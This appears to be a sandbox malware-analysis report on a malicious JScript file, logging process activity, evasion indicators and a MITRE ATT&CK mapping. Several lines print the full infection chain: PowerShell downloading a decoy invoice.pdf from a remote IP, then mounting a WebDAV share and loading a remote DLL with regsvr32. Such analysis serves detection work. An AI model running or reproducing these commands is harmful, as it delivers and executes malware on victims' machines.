Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7265.js.csv");ITextStream.WriteLine(" entry:7771 f:ppqhhu");ITextStream.WriteLine(" exec:2 f:ppqhhu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49799

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5652			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4223			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep count: 5652 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep count: 4223 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8136	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2700	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1497447929.0000023892768000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497447929.00000238927C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2710438277.000001A3F7059000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2709216642.000001A3F1A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000001.00000002.1428313869.00000253EAD5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}w

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
